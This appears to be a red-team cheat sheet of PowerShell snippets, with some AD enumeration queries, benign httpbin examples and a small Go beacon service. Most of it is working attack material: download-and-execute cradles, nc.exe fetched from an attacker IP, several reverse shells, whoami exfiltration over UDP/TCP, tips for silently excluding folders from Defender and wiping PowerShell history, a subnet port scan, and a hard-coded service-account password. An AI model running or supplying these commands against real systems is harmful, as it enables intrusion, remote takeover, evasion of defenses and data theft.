$passwd = ConvertTo-SecureString 'w3lc0meFr31nd' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CASCADE\ArkSvc', $passwd)
Invoke-Command -computername 127.0.0.1 -ScriptBlock { whoami } -credential $cred

Invoke-Command -computername 127.0.0.1 -ScriptBlock { wget http://10.10.15.218/nc.exe -OutFile C:\Users\Public\nc.exe } -credential $cred

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Invoke-WebRequest http://httpbin.org/json

$r = Invoke-WebRequest http://httpbin.org/json
$r.RawContent > C:\My\Path\to\file.txt

$r = iwr http://httpbin.org/headers -Headers @{'Accept' = 'application/json'; 'X-My-Header' = 'Hello World'}

$r = Get-Content test.txt -ReadCount 0 | `iwr http://httpbin.org/post `
-Method 'POST' `
-Headers @{'Content-Type' = 'application/json; charset=utf-8'}

iwr http://httpbin.org/post -Method 'POST' -ContentType 'application/json; charset=utf-8' -Body '{"hello": "world"}'

powershell.exe -nop -c "`$wc = New-Object System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy=[System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX (`$wc.downloadstring('$URL'))"
Invoke-Command -computername 127.0.0.1 -ScriptBlock { C:\Users\arksvc\nc.exe 10.10.15.218 1234 -e powershell.exe } -credential $cred

$client = New-Object System.Net.Sockets.TCPClient("163.172.232.45",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

# On your host:
# $ nc -lnvup 53


# Replace <HOSTIP> with ip of the listening machine
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));"

powershell -c "whoami | % {$w=(New-Object System.IO.StreamWriter((New-Object System.Net.Sockets.TCPClient([System.Net.IPAddress]::Parse(\"<HOSTIP>\"),80)).GetStream()));$w.WriteLine($_);$w.Flush()}"

$ErrorActionPreference = "silentlyContinue" # suppress warning
1..255 | %{
    $IP = "1.253.241.$_"
    echo "$IP";
    if (Test-Connection "$ip" -Quiet) {
       test-netconnection $IP -Port 80 | findstr /I "TcpTest"
       test-netconnection $IP -Port 443 | findstr /I "TcpTest"
       test-netconnection $IP -Port 8080 | findstr /I "TcpTest"
       test-netconnection $IP -Port 8081 | findstr /I "TcpTest"
    }
}

Red teamers, you can turn off Defender from admin powershell with ‘Set-MpPreference -DisableRealTimeMonitoring $true’ but it will result in a balloon notification for anyone logged on. Instead, use ‘Add-MpPreference -ExclusionPath “c:\temp”’ to silently add an exclusions folder.

Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"

Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"



Get-ADObject  -searchBase "CN=AdminSDHolder,CN=System,DC=gamac,DC=intra" -LdapFilter "(objectclas
s=top)" -properties *| select -ExpandProperty nTSecurityDescriptor | Format-Table -autosize -Wrap


PS C:\Users\user_seek> $acl =  Get-Acl "AD:\CN=AdminSDHolder,CN=System,DC=gamac,DC=intra"
PS C:\Users\user_seek> ConvertFrom-SddlString -Sddl $acl.Sddl -Type RegistryRights |Foreach-Object {$_.DiscretionaryAcl}

# exemple 1 : désactiver totalement l'historique
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# exemple 1 : désactiver totalement l'historique
Set-PSReadlineOption -HistorySaveStyle SaveNothing

package main

import "github.com/kardianos/service"
import "log"
import "time"
import "net"

var host = "unixed.fr"
var port = "80"

var logger service.Logger

type program struct{}

func (p *program) Start(s service.Service) error {
	// Start should not block. Do the actual work async.
	go p.run()
	return nil
}
func (p *program) run() {
	// Do work here
	timeout := time.Duration(1 * time.Second)
	for {
		net.DialTimeout("tcp", host+":"+port, timeout)
		time.Sleep(10 * time.Second)
	}
}
func (p *program) Stop(s service.Service) error {
	// Stop should not block. Return with a few seconds.
	return nil
}

func main() {
	svcConfig := &service.Config{
		Name:        "My Service (ping)",
		DisplayName: "My Service (ping)",
		Description: "This service will 'ping' a server of mine each 10 secs.",
	}

	prg := &program{}
	s, err := service.New(prg, svcConfig)
	if err != nil {
		log.Fatal(err)
	}
	logger, err = s.Logger(nil)
	if err != nil {
		log.Fatal(err)
	}
	err = s.Run()
	if err != nil {
		logger.Error(err)
	}
}

> wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """